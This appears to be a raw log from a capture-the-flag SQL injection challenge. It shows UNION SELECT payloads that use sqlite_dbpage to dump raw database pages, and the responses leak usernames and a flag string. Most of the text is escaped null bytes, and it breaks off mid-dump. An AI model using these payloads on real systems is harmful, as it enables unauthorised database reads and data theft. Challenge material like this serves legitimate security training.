0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x03\x17\x01admin\x03\t\x03\x17\x01guest\x02\t\x03\x19\talpaca&amp;#39;!
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 3), 1 --
Hello, b&amp;#39;\r\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x02yAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 4), 1 --
Hello, b&amp;#39;\n\x00\x00\x00\x01\x0f\xc6\x00\x0f\xc6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\